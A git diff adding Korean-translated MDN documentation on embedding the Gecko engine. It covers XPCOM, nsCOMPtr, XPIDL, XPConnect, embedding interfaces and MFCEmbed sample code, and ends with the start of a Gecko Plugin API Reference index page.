+<p>XPCOM은 간접적인 방법(컴포넌트 관리자)을 사용해서 객체의 인스턴스를 생성하기 때문에, 같은 객체에 대한 다중 포인터(각각 다양한 인터페이스로 연결됨)가 존재할 수 있으며, 포인터가 가리키는 모든 객체를 호출자가 정확하게 추적하기 어려워질 수 있다. 객체가 필요하지 않은 상황에서도 남아있게 되서 메모리 누수가 발생하거나, 필요한 객체가 삭제되는 바람에 댕글링 포인터가 나타날 수도 있다. <code>nsISupports</code>의 다른 두 메소드 <code>AddRef()</code>와 <code>Release()</code>는 이런 이슈를 다루기 위해 설계된 것이다. 포인터가 변수에 입력될 때마다<code>AddRef()</code>가 호출되어 내부 카운터가 증가한다. 포인터가 풀려날 때마다 <code>Release()</code>가 호출되어 내부 카운터가 감소한다. 카운터가 0이 되면, 객체에 대한 포인터가 없으며 객체를 안전하게 삭제할 수 있다. 객체의 수명에 대한 제어는 객체 내부에 있는 것이다. 이와 같은 과정을 자동화할 수 있도록 돕는 유틸리티인 XPCOM "스마트" 포인터<a href="#nsCOMPtr">nsCOMPtr</a>에 대한 정보를 참고하라.</p>
+
+<h5 id=".EA.B0.9D.EC.B2.B4_.EC.83.9D.EC.84.B1" name=".EA.B0.9D.EC.B2.B4_.EC.83.9D.EC.84.B1">객체 생성</h5>
+
+<p>XPCOM에서는 객체의 인스턴스 생성조차도 간접적인 절차를 거친다. 인터페이스가 GUID(Globally Unique ID)인 IID를 갖는 것처럼, XPCOM 클래스도 자신만의 GUID인 CID를 갖는다. 또는 문자 기반 ID인 Contract ID로 참조하기도 한다. 두가지 ID 중 하나를 객체를 생성하는 영속적인 XPCOM 컴포넌트인 "컴포넌트 관리자"의 메소드에 전달한다. 새로운 클래스 라이브러리(XPCOM에서는 모듈이라고 부른다)를 시스템에 처음 배치할 때, 라이브러리는 자기 자신을 컴포넌트 관리자에 등록하며, 컴포넌트 관리자는 클래스(ID로 참조)와 클래스가 포함된 라이브러리를 매핑하는 레지스트리를 관리한다.</p>
+
+<p>싱글턴 객체가 제공하는 몇가지 영속적인 서비스는 컴포넌트 관리자와 함께 서비스 관리자가 생성하고 제어한다. 컴포넌트 관리자 자체도 영속적인 서비스의 예시 중 하나이다.</p>
+
+<h5 id=".EC.9A.94.EC.95.BD" name=".EC.9A.94.EC.95.BD">요약</h5>
+
+<p>XPCOM에 포함된 기능은 추상 인터페이스로 기술되며, 시스템 요소 간의 대부분의 통신은 인터페이스를 거쳐서 이루어진다. 반면, 인터페이스를 구현하는 하부 객체들은 교차색인 레지스트리에 기반한 컴포넌트 관리자에 의해 간접적으로 생성된다.</p>
+
+<p>모든 인터페이스가 공유하는 기능 한가지는 런타임에서 하부 객체에게 어떤 다른 인터페이스를 구현하고 있는지 질의하는 기능이다. 인터페이스는 고정되어 변하지 않는다는 가정이 있는 것이지만, 현재 모질라 코드베이스에서는 <code>FROZEN</code>으로 선언된 인터페이스들만이 크게 변경되지 않을 것임을 보장한다. 객체 생명주기 관리는 객체 내에 들어있는 자신에게로 향하는 포인터의 개수를 추적하는 내부 카운터를 통해 이루어진다. 객체를 사용하는 클라이언트가 해야 할 일은 카운터를 올리거나 내리는 것 뿐이다. 내부 카운터가 0에 도달하면 객체는 자기자신을 삭제한다.</p>
+
+<h5 id="nsCOMPtr" name="nsCOMPtr">nsCOMPtr</h5>
+
+<p>하지만 <code>AddRef()</code>와 <code>Release()</code>를 적절한 때에 호출하는 것을 가끔 잊어버릴 수도 있다. 이런 과정을 더 쉽고 확실히 화기 위해 XPCOM은 내장 "스마트" 포인터인 <code>nsCOMPtr</code>을 제공한다. 이 포인터는 <code>AddRef()</code>와 <code>Release()</code> 호출을 처리한다. 대신 <code>nsCOMPtr</code>을 사용하면 코드를 더 명확하고 효율적으로 만들 수 있다. 스마트 포인터에 대한 추가 정보는 "<a class="external" href="http://www.mozilla.org/projects/xpcom/nsCOMPtr.html">The Complete nsCOMPtr User's Manual</a>"을 참고하라.</p>
+
+<p>모질라는 수많은 내장 매크로(규약에 따라 코드 내에서 모두 대문자로 작성됨)나 <code>nsCOMPtr</code>과 같은 유틸리티를 제공해서 XPCOM으로 코딩하는 과정을 더 쉽게 만들어 준다. 이들 중 대부분은 다음 파일에서 찾을 수 있다.</p>
+
+<p>&lt;tt&gt;nsCom.h&lt;/tt&gt;, &lt;tt&gt;nsDebug.h&lt;/tt&gt;, &lt;tt&gt;nsError.h&lt;/tt&gt;, &lt;tt&gt;nsIServiceManager.h&lt;/tt&gt;, &lt;tt&gt;nsISupportsUtils.h&lt;/tt&gt;</p>
+
+<p>모질라는 메모리 사용량 추적 기능 같은 개발 도구까지 제공한다. 이런 도구에 대한 정보는 <a class="external" href="http://www.mozilla.org/performance/" rel="freelink">http://www.mozilla.org/performance/</a> 에서 찾을 수 있다.</p>
+
+<h5 id=".EC.B0.B8.EA.B3.A0.EC.9E.90.EB.A3.8C" name=".EC.B0.B8.EA.B3.A0.EC.9E.90.EB.A3.8C">참고자료</h5>
+
+<p>XPCOM에 대한 참고자료는 일반적으로 <a href="ko/XPCOM">XPCOM</a>에서 찾을 수 있다. XPCOM 컴포넌트 작성에 대한 개략적인 내용은 오릴리 서적인<em><a class="external" href="http://books.mozdev.org/chapters/ch08.html">Creating Applications with Mozilla</a></em>의 8장에서 참고할 수 있다. 전체 내용이 XPCOM 관련된 책인<em><a href="ko/Creating_XPCOM_Components">Creating XPCOM Components</a></em>도 있다. Don Box가 저술한<em>Essential COM</em>에서는 COM 시스템의 기반 로직에 대해 더욱 상세히 설명하고 있다. 비록 MSCOM에 대해 초점을 맞춘 책이긴 하지만, 객체 모델 등을 사용할 때 필요한 핵심 원리를 이해하하기에 매우 훌륭한 배경지식을 제공한다.</p>
+
+<h4 id="XPIDL" name="XPIDL">XPIDL</h4>
+
+<p>인터페이스는 XPIDL(Cross Platform Interface Definition Language)로 작성된 추상 클래스이다. 여전히 인터페이스에서 제공할 기능은 몇몇 정규 프로그래밍 언어로 작성하는 것이 유용하다. XPIDL 컴파일러가 이런 역할을 한다. 인터페이스를 .idl 파일에 정의하면 XPIDL 컴파일러가 정의된 인터페이스를 처리한다.</p>
+
+<p>컴파일러는 여러가지 출력이 가능하지만, 일반적으로는 두가지 출력을 사용한다. 인터페이스의 C++ 구현을 위해 사용하며 주석달린 템플릿을 포함하는 C++ .h 파일이 그 중 하나이다. 다른 하나는 XPConnect가 사용할 타입 라이브러리 정보를 포함하는 XPT 파일이다. XPConnect는 JavaScript에서 인터페이스를 사용할 수 있도록 한다. <a href="ko/XPIDL">XPIDL</a>의 문법(간단한 C 스타일 언어)에 대한 자료와 <a href="ko/XPIDL/xpidl">컴파일러</a> 사용법이 참고하라.</p>
+
+<h4 id="XPConnect.EC.99.80_XPT_.ED.8C.8C.EC.9D.BC" name="XPConnect.EC.99.80_XPT_.ED.8C.8C.EC.9D.BC"><a href="ko/XPConnect">XPConnect</a>와 XPT 파일</h4>
+
+<p><a href="ko/XPConnect">XPConnect</a>는 <a href="ko/JavaScript">JavaScript</a>로 작성된 코드에 접근하거나, C++로 작성된 XPCOM 컴포넌트를 다룰 수 있도록 하는 <a href="ko/XPCOM">XPCOM</a> 모듈이다. XPConnect를 사용하면, XPCOM 인터페이스를 제공하거나 사용하는 양쪽 컴포넌트가 상대방이 어떤 언어로 작성됐는지 신경쓸 필요가 없다.</p>
+
+<p>인터페이스를 XPIDL 컴파일러에 적용하면, XPT 또는 타입 라이브러리 파일을 생성한다. XPConnect는 XPT 파일로부터 얻은 정보를 사용해서 C++ 객체와 JavaScript 객체 간의 통신을 XPCOM 인터페이스를 통해서 투명하게 구현한다. 그러므로 C++로만 개발하더라도 XPCOM 인터페이스를 생성해서 코드에 포함시키는 것이 매우 중요하다. 브라우저의 특정 부분만 JS로 구현된 것이 아니라, 향후에도 누군가 JS 기반 코드를 사용해서 당신이 작성한 컴포넌트와 상호작용하도록 할 수도 있다.</p>
+
+<p>현재 모질라에서 XPConnect는 C++와 JS 간의 상호작용을 가능하게 한다. 다른 언어(Python 등)에서 접근할 수 있도록 하는 모듈은 별도로 개발 중이다.</p>
+
+<h4 id="String_.ED.81.B4.EB.9E.98.EC.8A.A4" name="String_.ED.81.B4.EB.9E.98.EC.8A.A4">String 클래스</h4>
+
+<p>웹 브라우징은 일반적으로 많은 양의 문자열 처리를 필요로 한다. 모질라는 문자열을 처리하고 효율적으로 빠르게 출력하기 위한 C++ 클래스 라이브러리를 개발해왔다. 모질라는 객체 간 통신을 간단하게 하고 에러를 줄이기 위해 인터페이스, 즉 추상 클래스를 사용한다. 같은 이유로 String 클래스 계층도 <code>nsAString</code>, <code>nsASingleFragmentString</code>, <code>nsAFlatString</code> 등의 몇가지 추상 클래스를 앞세운다. (이 클래스들은 2바이트 문자열을 참조한다. <code>nsACString</code>로 시작하는 1바이트 문자열을 참조하는 계층이 동일한 구조로 별도로 존재한다.) <code>nsAString</code>은 문자로 구성된 문자열이라는 것만 보장한다. <code>nsASingleFragmentString</code>는 문자들이 한 버퍼에 저장되어 있음을 보장한다. <code>nsAFlatString</code>는 문자들이 하나의 null로 끝나는 버퍼에 들어있음을 보장한다. 하부에는 구상 클래스가 있지만, 되도록이면 가능한한 가장 추상적인 타입을 사용하는 것이 좋다. 예를 들어 문자열 접합(concatenation)은 포인터를 사용해서 가상으로 이루어질 수 있으며, 그 결과는 다른 문자열처럼 사용될 수 있는 nsAString이다. 덕분에 메모리 할당과 복사를 하지 않아도 된다. 더 자세한 정보는 "<a href="ko/XPCOM/Strings">Guide to the Mozilla string classes</a>"를 참고하라.</p>
+
+<h4 id="XUL.2FXBL" name="XUL.2FXBL">XUL/XBL</h4>
+
+<p>이 마지막 모질라 기술은 애플리케이션의 UI를 어떻게 만들 것이냐에 따라 선택해서 사용할 수 있다. <a href="ko/XUL">XUL</a>은 모질라의 매우 유연한 XML UI 언어이다. 매우 다양한 플랫폼 독립적인 위젯을 제공하며 위젯들을 사용해서 UI를 작성할 수 있다. 넷스케이프와 모질라는 모두 XUL을 인터페이스로 사용하지만, 모든 임베딩 애플리케이션 개발자들이 XUL을 사용하는 것은 아니다. XBL(eXtensible Binding Language)은 XUL의 XML 요소에 동작을 추가하는 데 사용할 수 있다. XUL에 대한 더 자세한 정보는 <a class="external" href="http://www.mozilla.org/xpfe/xulref/">XUL Programmer's Reference</a>에서, <a href="ko/XBL">XBL</a>은 <a href="ko/XBL/XBL_1.0_Reference">XBL:XBL_1.0_Reference</a>에서 찾을 수 있다. <a class="external" href="http://www.xulplanet.com/">XULPlanet</a>에도 XUL에 관련된 좋은 정보가 많다.</p>
+
+<h3 id=".EC.B6.94.EA.B0.80.EC.A0.81.EC.9D.B8_.EA.B8.B0.EB.8A.A5.EB.93.A4.EC.9D.98_.EC.84.A0.ED.83.9D" name=".EC.B6.94.EA.B0.80.EC.A0.81.EC.9D.B8_.EA.B8.B0.EB.8A.A5.EB.93.A4.EC.9D.98_.EC.84.A0.ED.83.9D">추가적인 기능들의 선택</h3>
+
+<p>이 문서(8/19/02)에 따르면, Gecko는 부분적으로 모듈화 되어있는 렌더링 엔진이다. 기본적인 브라우징외의 어떤 기능들은 항상 Gecko와 함께 임베디드 되어있고, 구조적인 결정의 결과들로 인해 항상 그래야 한다. (현재 어느부분은 Gecko와 함께 임베디드 되어있지만, 미래에 어떤 부분들은 분리되어 질 수 있다.) 그리고, 어떤 부분은 옵션으로 사용 가능하다. 아래의 테이블에 이 추가적인 기능들의 대한 현재 상태가 기술되어 있다.</p>
+
+<table>
+ <tbody>
+  <tr>
+   <th>Functions</th>
+   <th>Status Now</th>
+   <th>Status in Future</th>
+  </tr>
+  <tr>
+   <td>FTP support</td>
+   <td>Optional</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>HTTPS support</td>
+   <td>Optional</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>International character support</td>
+   <td>Optional</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>XUL support</td>
+   <td>Required</td>
+   <td>Probably optional</td>
+  </tr>
+  <tr>
+   <td>Network support</td>
+   <td>Required</td>
+   <td>Maybe optional</td>
+  </tr>
+  <tr>
+   <td>JavaScript support</td>
+   <td>Required</td>
+   <td>Maybe optional</td>
+  </tr>
+  <tr>
+   <td>CSS support</td>
+   <td>Required</td>
+   <td>Always required</td>
+  </tr>
+  <tr>
+   <td>DOM support</td>
+   <td>Required</td>
+   <td>Probably always</td>
+  </tr>
+  <tr>
+   <td>XML support</td>
+   <td>Required</td>
+   <td>Probably always</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>이번에 렌더링 엔진 Gecko와 함께 임베디드된 Mozilla의 에디터는 발전을 계속하고 있다는 하나의 불확실한 제의이다. 임베디드 될수 있는 에디터의 상태에 관해 더 정보를 보고 싶다면, <a class="external" href="http://www.mozilla.org/editor/Editor_Embedding_Guide.html" rel="freelink">http://www.mozilla.org/editor/Editor...ing_Guide.html</a> 을 참조하라.</p>
+
+<h2 id="What_Gecko_Provides" name="What_Gecko_Provides">What Gecko Provides</h2>
+
+<p>The following is a description of some of the interfaces most commonly used in embedding Gecko. It is by no means an exhaustive list of the available interfaces. The interfaces in this section are on classes provided by Mozilla. There is also a set of interfaces for which Gecko expects the embedder to provide the implementation. A sample of those are covered in the next section.</p>
+
+<h3 id=".EC.B4.88.EA.B8.B0.ED.99.94.EC.99.80_Teardown" name=".EC.B4.88.EA.B8.B0.ED.99.94.EC.99.80_Teardown">초기화와 Teardown</h3>
+
+<p>Gecko를 초기화하고 종료하는데 사용되는 2개의 C++ 함수가 있다. 초기화 함수(<a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi2.html#1099700">NS_InitEmbedding</a>)는 Gecko를 사용하기 전에 반드시 호출하여야 한다. 이것은 XPCOM을 안전하게 시작할 수 있도록, 필요하다면 컴포넌트 레지스트리를 생성하며, Global service를 기동한다. Shutdown 함수(<a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi2.html#1101115">NS_TermEmbedding</a>)는 Gecko embedding layer를 종료하며, Global service를 안전하게 unload 하며, File을 닫고, XPCOM을 종료한다.</p>
+
+<h3 id="nsIWebBrowser" name="nsIWebBrowser"><a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi4.html">nsIWebBrowser</a></h3>
+
+<p>Use of this interface during initialization allows embedders to associate a new <code>nsWebBrowser</code> instance (an object representing the "client-area" of a typical browser window) with the embedder's chrome and to register any listeners. The interface may also be used at runtime to obtain the content DOM window and from that the rest of the DOM.</p>
+
+<p>The <a class="external" href="http://xulplanet.com/references/xpcomref/ifaces/nsIWebBrowser.html">XULPlanet <code>nsWebBrowser</code> reference</a> also has a lot of useful information on this class.</p>
+
+<h3 id="nsIWebBrowserSetup" name="nsIWebBrowserSetup"><a class="external" href="http://www.mozilla.org/projects/embedding/embedapiref/embedapi10.html">nsIWebBrowserSetup</a></h3>
+
+<p>이 인터페이스는 브라우져 윈도우가 열리기 전에, 기본 프로퍼티(이미지를 로드 할 것인지 안할 것인지 같은)를 설정한다.</p>
+
+<h3 id="nsIWebNavigation" name="nsIWebNavigation"><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWebNavigation.html">nsIWebNavigation</a></h3>
+
+<p><code>nsIWebNavigation</code> 인터페이스는 웹 브라우져 Instance로 URI를 로드하며, Sessoin History 기능(Back이나 Forward 같은)에 접근할 수 있도록 한다. 2006년 6월 6일, 이 인터페이스는 아직 Frozen되지 않았다.</p>
+
+<h3 id="nsIWebBrowserPersist" name="nsIWebBrowserPersist"><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWebBrowserPersist.html">nsIWebBrowserPersist</a></h3>
+
+<p><code>nsIWebBrowserPersist</code> 인터페이스는 File로 URI를 저장할 수 있도록 한다. 2006년 6월 6일, 이 인터페이스는 아직 Frozen되지 않았다.</p>
+
+<h3 id="nsIBaseWindow" name="nsIBaseWindow"><a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIBaseWindow.html">nsIBaseWindow</a></h3>
+
+<p><code>nsIBaseWindow</code> 인터페이스는 일반적인 Windows나 기본 기능(size, position, windows title 반환 등)이 동작 할 수 있도록 한다. 2006년 6월 6일 이 인터페이스는 아직 Frozen되지 않았다.</p>
+
+<h3 id="nsISHistory" name="nsISHistory"><a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi58.html">nsISHistory</a></h3>
+
+<p><code>nsISHistory</code> 인터페이스는 Session histroy 정보에 접근하며, 삭제 할 수 있도록 한다.</p>
+
+<h3 id="nsIWebBrowserFind" name="nsIWebBrowserFind"><a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi14.html">nsIWebBrowserFind</a></h3>
+
+<p><code>nsIWebBrowserFind</code> 인터페이스는 브라우져 Window에서 문자열 검색을 설정, 실행 할 수 있도록 제어한다.</p>
+
+<h2 id="What_You_Provide" name="What_You_Provide">What You Provide</h2>
+
+<p>The following is a description of some of the more common embedder-provided interfaces used in embedding Gecko. It is by no means an exhaustive list of the available interfaces.</p>
+
+<h3 id="nsIWebBrowserChrome" name="nsIWebBrowserChrome"><a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi6.html">nsIWebBrowserChrome</a></h3>
+
+<p>The <code>nsIWebBrowserChrome</code> interface corresponds to the top-level, outermost window containing an embedded Gecko web browser. You associate it with the WebBrowser through the <code>nsIWebBrowser</code> interface. It provides control over window setup and whether or not the window is modal. It must be implemented.</p>
+
+<h3 id="nsIEmbeddingSiteWindow" name="nsIEmbeddingSiteWindow"><a class="external" href="http://www.mozilla.org/projects/embedding/embedapiref/embedapi12.html">nsIEmbeddingSiteWindow</a></h3>
+
+<p>The <code>nsIEmbeddingSiteWindow</code> interface provides Gecko with the means to call up to the host to resize the window, hide or show it and set/get its title. It must be implemented.</p>
+
+<h3 id="nsIWebProgressListener" name="nsIWebProgressListener"><a href="ko/NsIWebProgressListener">nsIWebProgressListener</a></h3>
+
+<p>The <code>nsIWebProgressListener</code> interface provides information on the progress of loading documents. It is added to the WebBrowser through the <code>nsIWebBrowser</code> interface. It must be implemented. As of this writing (8/19/02), it is not frozen.</p>
+
+<h3 id="nsISHistoryListener" name="nsISHistoryListener"><a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi59.html">nsISHistoryListener</a></h3>
+
+<p>The <code>nsISHistoryListener</code> interface is implemented by embedders who wish to receive notifications about activities in session history. A history listener is notified when pages are added, removed and loaded from session history. It is associated with Gecko through the <code>nsIWebBrowser</code> interface. Implementation is optional.</p>
+
+<h3 id="nsIContextMenuListener" name="nsIContextMenuListener"><a class="external" href="http://mozilla.org/projects/embedding/embedapiref/embedapi5.html">nsIContextMenuListener</a></h3>
+
+<p>The <code>nsIContextMenuListener</code> interface is implemented by embedders who wish to receive notifications for context menu events, i.e. generated by a user right-mouse clicking on a link. It should be implemented on the web browser chrome object associated with the window for which notifications are required. When a context menu event occurs, the browser will call this interface if present. Implementation is optional.</p>
+
+<h3 id="nsIPromptService" name="nsIPromptService"><a href="ko/NsIPromptService">nsIPromptService</a></h3>
+
+<p>The <code>nsIPromptServices</code> interface allows the embedder to override Mozilla's standard prompts: alerts, dialog boxes, and check boxes and so forth. The class that implements these embedder specific prompts must be registered with the Component Manager using the same CID and contract ID that the Mozilla standard prompt service normally uses. Implementation is optional. As of this writing (8/19/02), this interface is not frozen.</p>
+
+<h2 id="Common_Embedding_Tasks" name="Common_Embedding_Tasks">Common Embedding Tasks</h2>
+
+<p>The following is a series of code snippets (taken from MFCEmbed, the Windows based embedding Gecko sample) which demonstrate very briefly implementation associated with common embedding tasks.To see all the files associated with this sample, go to <a class="external" href="http://lxr.mozilla.org/seamonkey/source/embedding/tests/mfcembed/" rel="freelink">http://lxr.mozilla.org/seamonkey/sou...ests/mfcembed/</a>. There are also Linux- and Mac OS-based examples.</p>
+
+<h3 id="Gecko_setup" name="Gecko_setup">Gecko setup</h3>
+
+<p>The Gecko embedding layer must be initialized before you can use Gecko. This ensures XPCOM is started, creates the component registry if necessary, and starts global services. There is an equivalent shutdown procedure.</p>
+
+<p>Note that the embedding layer is started up by passing it two parameters. The first indicates where the executable is stored on the file system (<code>nsnull</code> indicates the working directory). The second indicates the file location object "provider" that specifies to Gecko where to find profiles, the component registry preferences, and so on.</p>
+
+<pre>nsresult rv;
+rv = NS_InitEmbedding(nsnull, provider);
+if(NS_FAILED(rv))
+{
+ASSERT(FALSE);
+return FALSE;
+}
+</pre>
+
+<h3 id="Creating_a_browser_instance" name="Creating_a_browser_instance">Creating a browser instance</h3>
+
+<p>The embedder-provided BrowserView object calls its method <code>CreateBrowser()</code>. Each browser object (a webbrowser) represents a single browser window. Notice the utility directive <code>do_CreateInstance()</code> and the use of macros.</p>
+
+<pre>//Create an instance of the Mozilla embeddable browser
+
+HRESULT CBrowserView::CreateBrowser()
+{
+// Create a web shell
+nsresult rv;
+mWebBrowser = do_CreateInstance(NS_WEBBROWSER_CONTRACTID, &amp;rv);
+if(NS_FAILED(rv))
+return rv;
+</pre>
+
+<p>Once the <code>nsWebBrowser</code> object is created the application uses <code>do_QueryInterface()</code> to load a pointer to the <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWebNavigation.html">nsIWebNavigation</a> interface into the <code>mWebNav</code> member variable. This will be used later for web page navigation.</p>
+
+<pre>rv = NS_OK;
+mWebNav = do_QueryInterface(mWebBrowser, &amp;rv);
+if(NS_FAILED(rv))
+return rv;
+</pre>
+
+<p>Next the embedder-provided <code>CBrowserImpl</code> object is created. Gecko requires that some interfaces be implemented by the embedder so that Gecko can communicate with the embedding application. See the <a href="#What_You_Provide">What You Provide Section</a>. In the sample, <code>CBrowserImpl</code> is the object that implements those required interfaces. It will be passed into the <code>SetContainerWindow()</code> call below.</p>
+
+<pre>mpBrowserImpl = new CBrowserImpl();
+if(mpBrowserImpl == nsnull)
+return NS_ERROR_OUT_OF_MEMORY;
+</pre>
+
+<p>The <code>mWebBrowser</code> interface pointer is then passed to the <code>CBrowserImpl</code> object via its <code>Init()</code> method. A second pointer to the platform specific <code>BrowserFrameGlue</code> interface is also passed in and saved. The <code>BrowserFrameGlue</code> pointer allows <code>CBrowserImpl</code> to call methods to update status bars, progress bars, and so forth.</p>
+
+<pre>mpBrowserImpl-&gt;Init(mpBrowserFrameGlue, mWebBrowser);
+mpBrowserImpl-&gt;AddRef();
+</pre>
+
+<p>Next the embedder-supplied chrome object is associated with the webbrowser. Note the use of an <code>nsCOMPtr</code>.</p>
+
+<pre>mWebBrowser-&gt;SetContainerWindow
+	(NS_STATIC_CAST(nsIWebBrowserChrome*, mpBrowserImpl));
+nsCOMPtr&lt;nsIWebBrowserSetup&gt;setup(do_QueryInterface(mWebBrowser));
+if (setup)
+	setup-&gt;SetProperty(nsIWebBrowserSetup::SETUP_IS_CHROME_WRAPPER,PR_TRUE);
+</pre>
+
+<p>Then, the real webbrowser window is created.</p>
+
+<pre>rv = NS_OK;
+mBaseWindow = do_QueryInterface(mWebBrowser, &amp;rv);
+if(NS_FAILED(rv))
+return rv;
+</pre>
+
+<h3 id="Binding_a_window" name="Binding_a_window">Binding a window</h3>
+
+<p>Basic location information is passed in.</p>
+
+<pre>RECT rcLocation;
+GetClientRect(&amp;rcLocation);
+if(IsRectEmpty(&amp;rcLocation))
+{
+	rcLocation.bottom++;
+	rcLocation.top++;
+}
+rv = mBaseWindow-&gt;InitWindow(nsNativeWidget(m_hWnd),
+		nsnull,0, 0, rcLocation.right - rcLocation.left,
+		rcLocation.bottom - rcLocation.top);
+rv = mBaseWindow-&gt;Create();
+</pre>
+
+<p>Note the <code>m_hWnd</code> passed into the call above to <code>InitWindow()</code>. (<code>CBrowserView</code> inherits the <code>m_hWnd</code> from <code>CWnd</code>). This <code>m_hWnd</code> will be used as the parent window by the embeddable browser.</p>
+
+<h3 id="Adding_a_listener" name="Adding_a_listener">Adding a listener</h3>
+
+<p>The <code>BrowserImpl</code> object is added as an <a href="ko/NsIWebProgressListener">nsIWebProgressListener</a>. It will now receive progress messages. These callbacks will be used to update the status/progress bars.</p>
+
+<pre>nsWeakPtr weakling
+	(dont_AddRef(NS_GetWeakReference(NS_STATIC_CAST(nsIWebProgressListener*,
+			mpBrowserImpl))));
+void mWebBrowser-&gt;AddWebBrowserListener(weakling, NS_GET_IID(nsIWebProgressListener));
+</pre>
+
+<p>Finally the webbrowser window is shown.</p>
+
+<pre>mBaseWindow-&gt;SetVisibility(PR_TRUE);
+</pre>
+
+<h3 id="Using_session_history_to_navigate" name="Using_session_history_to_navigate">Using session history to navigate</h3>
+
+<p>The pointer to <a class="external" href="http://www.xulplanet.com/references/xpcomref/ifaces/nsIWebNavigation.html">nsIWebNavigation</a> saved above is used to move back through session history.</p>
+
+<pre>void CBrowserView::OnNavBack()
+{
+if(mWebNav)
+	mWebNav-&gt;GoBack();
+}
+</pre>
+
+<h2 id="Appendix_Data_Flow_Inside_Gecko" name="Appendix:_Data_Flow_Inside_Gecko">Appendix: Data Flow Inside Gecko</h2>
+
+<p>While it isn't strictly necessary for embedders to understand how Gecko does what it does, a brief overview of the main structures involved as Gecko puts bits on a display may be helpful.</p>
+
+
+
+<p>HTML data comes into Gecko either from the network or a local source. The first thing that happens is that it is parsed, using Gecko's own HTML parser. Then the Content Model arranges this parsed data into a large tree. The tree is also known as the "Document" and its structure is based on the W3C Document Object Model. Any use of DOM APIs manipulates the data in the Content Model.</p>
+
+<p>Next the data is put into frames using CSS and the Frame Constructor. A frame in this sense (which is not the same thing as an HTML frame) is basically an abstract box within which a DOM element will be displayed. This process produces a Frame Tree, which, like the Content Model, is a tree of data, but this time focused not on the logical relationship among the elements but on the underlying calculations needed to display the data. In the beginning a frame has no size. Using CSS rules specifying how the elements of the DOM should look when they are displayed, including information like font type or image size, the eventual size of each frame is calculated. Because the same data may need to be displayed in different ways -- to a monitor and to a printer, for example -- a particular Content Model may have more than one Frame Tree associated with it. In such a case, each individual Frame Tree would belong to a different "presentation" mode.</p>
+
+<p>Calculations continue as new information flows into the system using a process called <strong>reflow</strong>. As information in the Frame Tree changes, the section of the Frame Tree involved is marked "dirty" by the Frame Constructor. Reflow repeatedly steps through the tree, processing every "dirty" item it encounters until all the items it encounters are "clean". Every item in the Frame Tree has a pointer back to its corresponding item in the Content Model. A change in the Content Model, say through using the DOM APIs to change an element from hidden to visible, produces an equivalent change in the Frame Tree. It's important to note that all of these operations are purely data manipulations. Painting to the display itself is not yet involved at this point.</p>
+
+<p>The next stage is the View Manager. With a few small exceptions that have to do with prompting the Frame Constructor to load graphics, the View Manager is the first place in the process that accesses the native OS. Delaying OS access until this point both helps Gecko to run more quickly and makes cross-platform issues easier to deal with. The View Manger is the place where Gecko figures out where on the display the data will need to be drawn. It then tells the system that that area is "invalid" and needs to be repainted. The actual painting is managed by the gfx submodule, while other low-level system operations are run through the widget submodule, which handles things like platform specific event (mouse clicks and so forth) processing loops and accessing system defaults (colors, fonts, etc.) Both gfx and widget are system specific.</p>
+
+<p>If you want to take a look at the code underlying these structures, the code for the Content Model can be found in &lt;tt&gt;/mozilla/content&lt;/tt&gt;, for the Frame Constructor, CSS, and Reflow in &lt;tt&gt;/mozilla/layout&lt;/tt&gt;, for the View Manager in &lt;tt&gt;/mozilla/view&lt;/tt&gt;, and for the DOM APIs in &lt;tt&gt;/mozilla/dom&lt;/tt&gt;.</p>
+
+<div class="originaldocinfo">
+<h2 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h2>
+
+<ul>
+ <li>Author(s): <a class="link-mailto" href="mailto:jeev@netscape.com">Ellen Evans</a></li>
+ <li>Last Updated Date: August 19, 2002</li>
+ <li>Copyright Information: Copyright (C) <a class="link-mailto" href="mailto:jeev@netscape.com">Ellen Evans</a></li>
+</ul>
+</div>
diff --git a/files/ko/gecko_plugin_api_reference/index.html b/files/ko/gecko_plugin_api_reference/index.html
new file mode 100644
index 0000000000..693edd9244
--- /dev/null
+++ b/files/ko/gecko_plugin_api_reference/index.html
@@ -0,0 +1,213 @@
+---
+title: Gecko Plugin API Reference
+slug: Gecko_Plugin_API_Reference
+tags:
+  - Gecko
+  - NeedsMigration
+  - Plugins
+---
+<div class="note"><b>Note</b>: This document is in the process of being migrated. If you would like to help with this migration, please migrate from <a class="external" href="http://devedge-temp.mozilla.org/library/manuals/2002/plugin/1.0/index.html">devedge-temp</a>.
+</div>
+<p><br>
+</p>
+<h4 id="Preface"> <a href="ko/Gecko_Plugin_API_Reference/Preface">Preface</a> </h4>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Preface#About_This_Guide">About This Guide</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Preface#Who_Should_Read_This_Guide">Who Should Read This Guide</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Preface#The_Plug-in_Software_Development_Kit">The Plug-in Software Development Kit</a>
+</dd></dl>
+<h4 id="Plug-in_Basics"> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics">Plug-in Basics</a> </h4>
+<dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#How_Plug-ins_Are_Used">How Plug-ins Are Used</a>
+</dd></dl>
+<dl><dd><dl><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Plug-ins_and_Helper_Applications">Plug-ins and Helper Applications</a>
+</dd></dl>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#How_Plug-ins_Work">How Plug-ins Work</a>
+</dd><dd> <a href="ko/Gecko_Plugin_API_Reference/Plug-in_Basics#Understanding_the_Runtime_Model">Understanding the Runtime Model</a>
